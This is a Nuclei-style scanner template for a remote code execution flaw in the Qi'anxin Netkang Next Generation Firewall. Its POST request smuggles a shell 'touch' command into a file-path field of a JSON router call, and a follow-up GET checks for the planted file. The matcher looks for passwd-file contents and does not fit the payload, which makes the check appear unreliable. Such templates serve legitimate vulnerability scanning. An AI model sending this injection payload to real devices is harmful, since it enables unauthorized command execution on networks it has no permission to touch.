id: qi-anxin-netkang-next-generation-firewall-rce info: name: Qi'anxin Netkang Next Generation Firewall - Remote Code Execution author: pikpikcu severity: critical description: | Qi'anxin Netkang Next Generation Firewall is susceptible to remote code execution. reference: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 2 tags: rce,firewall,intrusive http: - raw: - | POST /directdata/direct/router HTTP/1.1 Host: {{Hostname}} {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;touch /var/www/html/{{randstr}}.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="} - | GET /{{randstr}}.txt HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a00483046022100a1155793ded752fd230378179931d6da35cc5c67a286a7b0c3610c6e29058f77022100cfaa6e45c68013ce2a5cc170e4333e1127ad3ef49557c0f6c1f1fbaf20830f00:922c64590222798bb761d5b6d8e72950